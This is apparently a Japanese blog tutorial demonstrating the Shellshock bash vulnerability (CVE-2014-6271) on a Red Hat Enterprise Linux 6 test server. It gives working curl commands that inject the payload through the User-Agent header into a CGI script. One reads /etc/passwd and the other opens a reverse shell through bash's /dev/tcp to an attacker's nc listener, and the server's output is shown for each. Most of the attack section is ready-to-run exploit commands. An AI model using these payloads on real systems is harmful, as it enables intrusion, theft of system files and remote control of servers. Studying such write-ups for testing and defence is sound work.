bashの脆弱性 (shellshock, CVE-2014-6271等)をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。
条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。
※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。
1. サーバ側でcat /etc/passwdを実行させる例
curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。
attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi
/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。
2. 攻撃者側へサーバのbashインタラクティブシェルを開く例
bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。
参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信
以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。
attacker-pc-tty1$ nc -l -p 3333
このtty1端末はそのまま待ち受け状態となる。
ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。
attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi
すると、さきほどのtty1にサーバのシェルプロンプトが現れる。
attacker-pc-tty1$ nc -l -p 3333 bash: no job control in this shell bash-4.1$
サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。
apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。
※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。
実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4
参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)